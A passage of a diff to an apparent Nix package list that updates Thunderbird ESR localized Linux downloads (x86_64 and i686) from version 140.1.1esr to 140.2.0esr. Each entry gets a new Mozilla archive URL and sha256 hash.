-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/es-MX/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/es-MX/thunderbird-140.2.0esr.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "161197e28416206f216985796fcb131ec29e2a64170d7ab7be91e686fbcdc014";
+      sha256 = "c3cdb14615f28b14fbe4084540013bdff97423e6e6003be8432bf21dd60f8b09";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/et/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/et/thunderbird-140.2.0esr.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "f5a693e7d141e9085ed072f1192effd76298e3a3b81517f41994b2b317208447";
+      sha256 = "5ef591e4a8f9e86442932c485e23606f8199a98516fee0c5099dc5626e942c29";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/eu/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/eu/thunderbird-140.2.0esr.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "db90b40e330738e19cdc29fe5386117e363a7980003bf407005278b4a44d43a8";
+      sha256 = "0628ad64b669a3bc4bb10808c0a5dbe54fca19b9775fc7dc7f28115bae8ee60b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/fi/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/fi/thunderbird-140.2.0esr.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "7629a5087f7ba516b6ac202b10f9324458f9e7a65151a0e7a0d01d9b1c40805a";
+      sha256 = "3fe7bc971469dcbebbec12bb0bbab0e8d8ecd576da57174934ff2dae3628d3a4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/fr/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/fr/thunderbird-140.2.0esr.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "8a7f97f15a3d4659cf1effbc4afa8e176e4aed48a0b279e6628dd29e0db6fed0";
+      sha256 = "dd49472ec3992664bb0ad04d9b360b089b550f6e1bf5d7054f479c6dc6668e36";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/fy-NL/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/fy-NL/thunderbird-140.2.0esr.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "7a0164fc992c1705e7927f5654a091e824cb39e120a99c9767d17555a4019567";
+      sha256 = "d304ac0e7b118b9ea64d9f1eba333ea4217313bf04a4866c347c7bc1db4304db";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ga-IE/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ga-IE/thunderbird-140.2.0esr.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "cf1e7321db36792779fb6edfe35cc45a3795cc055dcc178aba42d17015873c3e";
+      sha256 = "6368f659b1bb776f180e9e579750775617b2058286a363261fd612d6a00401a6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/gd/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/gd/thunderbird-140.2.0esr.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "008ee962be825a4e087051ddf15af624e8a42f75006bcb1b22d44719a30ba66f";
+      sha256 = "19ee581dd6ccf233d8f5e490be311caea53b8d186b7dfc719ab80b1ee7b02143";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/gl/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/gl/thunderbird-140.2.0esr.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "69ac658f4f79c962382275a126672e4a5ea5dadd987220a5ae05a429f79a7aa1";
+      sha256 = "769a65281a7e2a473fe66919823673d69f091b239cfd0f37431030439310b265";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/he/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/he/thunderbird-140.2.0esr.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "0dfa668cf92869c2da406f3646b004a2549333894468ee3343c6c270ead7400d";
+      sha256 = "97f0d0f80e2e7ff724bc363e71fafb5dc20f60e6b699adb97ebc936e8a227020";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/hr/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/hr/thunderbird-140.2.0esr.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "8fb0c300ae7d8cab35d0048173f75264d6558245ecbf8cdb88db6019f3607800";
+      sha256 = "dec7cfcec03428d2926ce231c3d56ed13b9558384a046b7c70d14ad8978b8b00";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/hsb/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/hsb/thunderbird-140.2.0esr.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "13b239a77e545dd331c446abb8c2d0cc93f26a4264a0a8c0d9a477273d908591";
+      sha256 = "5c9f57d715c9a6cdb73c47cbcfe7643ba5670b5beeb11f9d72f84ecee068d4f6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/hu/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/hu/thunderbird-140.2.0esr.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "ad0667c49e91aaf640c290c356a13b109807c9044a5cc38350e688ce336eeada";
+      sha256 = "614610f72e730d6077d1e9b42cec6f002faf997ea691e0076c1d09e6436d68df";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/hy-AM/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/hy-AM/thunderbird-140.2.0esr.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "efd985cf24abba96128993d5dacd664023c2d5ee9cb4ad0e93fdf8857f31634c";
+      sha256 = "16d78631bf5471c148829ae40286840d3092d25a283c245950d9ba7fa93b07c7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/id/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/id/thunderbird-140.2.0esr.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "511ab012c1cdfd7904177f7f1abd6cdeb360c26aaaa37174fdf7b3af687adcc4";
+      sha256 = "cdaa1b73d66bcde17a3df149b5bee0270620a475216ede15ab82948038386b85";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/is/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/is/thunderbird-140.2.0esr.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "5e038f13e5b22d6c78647b58451f4b4b762f92da311907a01acb4c8f52228bbc";
+      sha256 = "c3c3fe08f7909f6b5a24002b8ac3d4562763f3fce7fa09e31d6ee5d9c42fb2e4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/it/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/it/thunderbird-140.2.0esr.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "0a6138a7da3416ead8a22810b70a8a135a86755bf3cfe6a69523e484ccdb6d07";
+      sha256 = "9708cde8b786d8321963007d39d8e0f70c67307bf233453edeba6fcc525e82ec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ja/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ja/thunderbird-140.2.0esr.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "26d56b6dbc8fda2f3475b286db25629fa7775d9929f773074889a6940368950c";
+      sha256 = "8e1749fc438880a752537963da1c45c44875f78128a28e221d88c4819f55ed90";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ka/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ka/thunderbird-140.2.0esr.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "07c323d8311f01432bdeb86c7b1ba627b07640a3d692de8d007265a04779ebc0";
+      sha256 = "0f940323c414c6c680dec7f5a5ce02d5fa717a8b1e8306e5b6f1d600b5aeb628";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/kab/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/kab/thunderbird-140.2.0esr.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "e78aec3f7cac1c7898c04f9970aa757fb30372787793bd0cf6cb188d1b5b66bf";
+      sha256 = "f5cebc3b20c19cf73eb3e5a0d2d94ef29068b44a5f01e5f02bcc70720cc85ff9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/kk/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/kk/thunderbird-140.2.0esr.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "c4eaf2b352af08cadae21c0b8237b36b8694f867dd9c01fa12fc80068d2629a6";
+      sha256 = "f214b723b7f6b2678b78b858545bebf02f1b933d2b6de385524d4c060affbfe7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ko/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ko/thunderbird-140.2.0esr.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "5bd2d44c41dfeff1cbc771353d66c01bbbbf2d7796d581cfc5dad85c2f20470a";
+      sha256 = "933c2253c3c5924920faa2889e740b3bb75ea7d372ee2734ef66abafe84e66de";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/lt/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/lt/thunderbird-140.2.0esr.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "e7578f394f4ce64fd85007588ec7f4903b01631207f508222cefd5cb00d6b5b1";
+      sha256 = "b96137326be3eea66923bec0cc2bea05d6660070a3980671ab75cd3a02083ee3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/lv/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/lv/thunderbird-140.2.0esr.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "3ba8716be0a3ac3a85902cdca9b2de5923bf32904ef206412b77341f441d5ebb";
+      sha256 = "fde2a6c3388f74419cc24678da4c93c8925c39f7f305c88b2b2e9adb52af7806";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ms/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ms/thunderbird-140.2.0esr.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "444c096f12e7121f3891224ea533529937d825e7d167e6e962280cb990e8498f";
+      sha256 = "38815d85e46ede7fa01a7f83427a59310de29463fb84dce80a6aa72c3f20108f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/nb-NO/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/nb-NO/thunderbird-140.2.0esr.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "16d316019ceb2bb89f7982d8989f87a77795c020bb4b0144f8572b335ccddefa";
+      sha256 = "78477255e656a3d6b5997a2d84d365a23954356595664004dd2d2b049f3cbdfa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/nl/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/nl/thunderbird-140.2.0esr.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "9f23477305f39b70c587fd821090f13236a5e159802837f5a1f0a928e420ca94";
+      sha256 = "e2c0f62292ade1a2064e85af6fae1f282ad5215754dce762643170b2021002f6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/nn-NO/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/nn-NO/thunderbird-140.2.0esr.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "2b9dd6d30206a3c19216745bf97f928ed67e343189056ed78fa0f3d90267a8a8";
+      sha256 = "1b020dc0e571a8229e560be60a9fda94186375fc59333282781894e63e40fff0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/pa-IN/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/pa-IN/thunderbird-140.2.0esr.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "1b053c1d7a869649450aaf1c8eaba6e2655ce41dbdc631475094e8cf27877cef";
+      sha256 = "78eaefd2b5795d6b645fe0fc5fc10bf8c6014de13ed35e614aa5d1fe2a0178f7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/pl/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/pl/thunderbird-140.2.0esr.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "0d6e31b038fb43ee8289bd0a55558afc108ee0962719bcbe9da37fac4cbeff2d";
+      sha256 = "a95c75044e0deeadf2626e72a37a1f55f7a743a57c3905c17df3fd4ba20b63da";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/pt-BR/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/pt-BR/thunderbird-140.2.0esr.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "9627781755d71d886cd2204af2b650880cc2fcb58eaaecf4499f3a6053b5f208";
+      sha256 = "04011d9dd415697e392056d915a9b2ccc4119e29f08cc32ec0ab8dcbc4e9c839";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/pt-PT/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/pt-PT/thunderbird-140.2.0esr.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "366026969b6aae8ffef5e2ee7acd42038749e45e13e754b42e6ee77366fbd2ca";
+      sha256 = "80dea720362931047b584075f5f9323bff0ca6a8641fb158746268cc62280d5a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/rm/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/rm/thunderbird-140.2.0esr.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "cdb9f3cb48dcabb38e75c0ec41660c8d82f0c0dfbb2b13784a09276466a3384e";
+      sha256 = "6a89b903adc52c93b49a61f357da2e9809f5c5d26f2883a62ded68377972b75e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ro/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ro/thunderbird-140.2.0esr.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "a0c34df83fa5cc06e65db07a922b569eca3e56f49745967c11102dfafc368788";
+      sha256 = "174457f9817b9e30c14c7dd3548923fa2787ff3403a5ac738769341c4439166d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ru/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ru/thunderbird-140.2.0esr.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "b9f209bb54d649cdcc48f0c6595f06211c90fbe8f2e3c1f5849f0ccace760e40";
+      sha256 = "715822de4ef99309e4b210a9dc43bf064545fa7dae008abb6246853f530520d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/sk/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/sk/thunderbird-140.2.0esr.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "4966be49d3205d4e1b8787f905cd6324e4ae7944bbf62211711a019fc76870d1";
+      sha256 = "f122cde00d47d506d6944c459a6291d2438b40efc76f49f862c9a38c8ab2ef42";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/sl/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/sl/thunderbird-140.2.0esr.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "3a7099b21c59d7ab78121a690201d1cc11ccd833a83dc0ca8a21803917154594";
+      sha256 = "5057883deb5e1149a761d5a1dc1c4fa8c92cba2a69cab74faf49dce4e519a452";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/sq/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/sq/thunderbird-140.2.0esr.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "1e6c192a966e370b71635c3b667f751d030ec94647ea4375935c27adfeaa5d77";
+      sha256 = "8884b14937382aaf033df13da2e83d02d572bdc419ac7d641628002fb7c19e95";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/sr/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/sr/thunderbird-140.2.0esr.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "430c02a5a7be79135503fd0ce959dfecee7e5de44018c4cb27901bc8a727c33b";
+      sha256 = "e01acc86bbbe215ba81faec9f5263be2d2d4714f046cbc41e8fd9f3c15e19e1d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/sv-SE/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/sv-SE/thunderbird-140.2.0esr.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "f1925d6fd429133598c8b79ad11ffb01f27ccc3f016da9321204ca92fd4848ab";
+      sha256 = "69c977a21d06c0e08eb643767f326b66b404baf25c2e60688fbebfff7a1a3ec6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/th/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/th/thunderbird-140.2.0esr.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "e19e8d275e1c898f7c69b9f76012808ce55d5ecbacc841beb603bfc7a6fd27f4";
+      sha256 = "91ed15f92feb265ae7bcacb71258cc39b8ff028c98ff413810976f8c9249d214";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/tr/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/tr/thunderbird-140.2.0esr.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "dc628f393b9090fd4609cce6866af90a704c9ee0f64ca4cfff09f23b8b0b45c1";
+      sha256 = "8972ba199dea0caf53ffec85097a94b41942acfa99def00f8eea208870f06071";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/uk/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/uk/thunderbird-140.2.0esr.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "adafffc44db7c8eb9f1725803da72012b17aa6df3ce5321aed953d607f6fcbc9";
+      sha256 = "2d409996c337b7c63136a5217879968c3bda91c71170e63b199e6e317e5f7cd5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/uz/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/uz/thunderbird-140.2.0esr.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "09221ee37ce66aff9f63bb2a5217f3b7219754b8b7b920fb607ef301f164e547";
+      sha256 = "bf121f42792696666d3deeaceaf15c8667a2d0e70ec494f8ff717f397686f909";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/vi/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/vi/thunderbird-140.2.0esr.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "a0a1234ce4d2370d263d50a3467c5327095c386943da4c01be4dd0ae95bd2c97";
+      sha256 = "f8d2edd0096547195477419b2f7328d3b6b58a4a9ab596bf293dd786b20b3e64";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/zh-CN/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/zh-CN/thunderbird-140.2.0esr.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "f89fee533f778038626f3c7fa69e09cbad6a1f79f8dd5045cdf645d3f16ba774";
+      sha256 = "c5430798b925e33eeee603bd7f6a54078eabb8b1da54847a8324be671e576c15";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/zh-TW/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/zh-TW/thunderbird-140.2.0esr.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "bcb095905122172714cb4a8f587c2eba8b882a71fa51c9668bd957a0cfad0eef";
+      sha256 = "7c00f112373fd9abf22afe8209b0adf561e6018c7473c7d07b42d2efd5fe4c07";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/af/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/af/thunderbird-140.2.0esr.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "6cc4f11c76fbe3f2e3ee273e10ae69e58c0fd8ff14893e2e3077ede0a046ce6f";
+      sha256 = "e1d479ecf98c2a330f877f75688a85535aae8b8847b7acf1f6798bf85d9ca724";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ar/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ar/thunderbird-140.2.0esr.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "aa6572aa65a2049d5aae97740822f1ce6405328de8c28c51a43f161a4473d517";
+      sha256 = "b03e960a8f10e8aec0aa26531beca5296bbb2a3fcad49b1f87590eb1b85f84b5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ast/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ast/thunderbird-140.2.0esr.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "1caae0a85b4b4f70336fafdf6f422213df8f1702ed3c2a5da19a261f7834426a";
+      sha256 = "84b579c1e04dc06f87a6137ec6e2e7f2bd3b39fee7357932eed9a18a8ab8220e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/be/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/be/thunderbird-140.2.0esr.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "79e43954c8ec7f1a81f2145158d58a78f660dc7e09b1f0355b65199678c4ad76";
+      sha256 = "b572b4011ef7fc698b5cdf81234d236f9a5a8bdd08fb8cf038ba38293612d509";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/bg/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/bg/thunderbird-140.2.0esr.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "231a740b88896635a72857d592f004963ff0445885f107198a9562066ae81810";
+      sha256 = "043012b04adb39f884c6217254df3ac35bab2c4fb4b7d29bb02edba0042a7ea2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/br/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/br/thunderbird-140.2.0esr.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "05b58365bb73e856bfd245ee8826ab3184c2ffd5614a8e2b163d942dbcc50e8b";
+      sha256 = "7333886921ef05e5cf2a5be661b68a3a62b1326f56203b6f665634f3e081d009";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ca/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ca/thunderbird-140.2.0esr.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "a71da18c8bcd197aaf02041005abef2215f4ce4ac0ed3928572664e945e8e114";
+      sha256 = "669ca6096791fd618d5adaebb0b45fb42bd09bc8539fa5bdad970506deb8b9a0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/cak/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/cak/thunderbird-140.2.0esr.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "e4e5e7a6640c1e44d8ecb14ae850fb4d1b799a553ff3331ee601c5d324c93a04";
+      sha256 = "a3e5803ed4ea8455ae8a25007320aba1015416a05f225b0ed85dfbcc7f458ae9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/cs/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/cs/thunderbird-140.2.0esr.tar.xz";
       locale = "cs";
